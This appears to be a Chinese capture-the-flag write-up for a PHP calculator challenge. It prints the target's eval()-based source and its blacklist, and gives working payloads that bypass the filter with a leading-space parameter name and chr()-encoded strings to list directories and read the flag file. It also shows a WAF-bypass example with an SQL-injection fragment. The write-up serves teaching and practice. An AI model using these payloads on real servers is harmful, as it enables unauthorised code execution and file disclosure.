-
进入靶机后,发现是个简单的计算器
-
有输入框就得各种试啊,作为一个测试人员应该有的自觉
经测试发现,字母不能被解析,还有一些其他特殊字符。常规操作,F12 查看网页源码
这里发现点有意思的东西,博主最初以为是encodeURIComponent()
,然后了解了一下 JavaScript encodeURIComponent() 函数
摘录:- 该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ’ ( ) 。
- 其他字符(比如 :;/?😡&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
我们大概可以了解到,正常字符没办法直接使用,但是可以使用 ASCII,那就要用到
chr()
,嗯,那就先访问calc.php
文件看看结果
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
发现很多东西都被过滤了,仅有的信息无法确切知道 flag
3. 此处就需要了解PHP字符串的解析特性:
PHP将查询字符串(在URL或正文中)转换为内部GET或的关联数组_POST。
例如:/?foo=bar变成Array([foo] => “bar”)
。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如,/?%20news[id%00=42会转换为Array([news_id] => 42)
。
如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0 #
上述PHP语句的参数%20news[id%00
的值将存储到$_GET[“news_id”]
中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
-
尝试构造 payload,发现被禁用
-
根据 calc.php 的过滤规则和解特性尝试在 num 前加一个空格呢?
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。为什么要在num前加一个空格?
答:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。 -
scandir() 的使用:
scandir(directory,sorting_order,context);
返回指定目录中的文件和目录的数组。首先我们要先扫根目录下的所有文件,也就是是scandir("/"),但是“/”被过滤了,所以我们用chr(“47”)绕过,发现flagg文件
/calc.php?%20num=scandir(chr(47))
发现是一个数组,那么使用var_dump()
列举数组内容/calc.php?%20num=var_dump(scandir(chr(47)))
知道了 flag 所在位置 -
file_get_contents() 的使用
原型:file_get_contents(path,include_path,context,start,max_length)
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。构造如下 payload
首先获取文件名的ASCII值:
/f1agg —>47,102,49,97,103,103/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
-
总结
学习的路依旧漫长,很多东西需要做题的过程中不断补充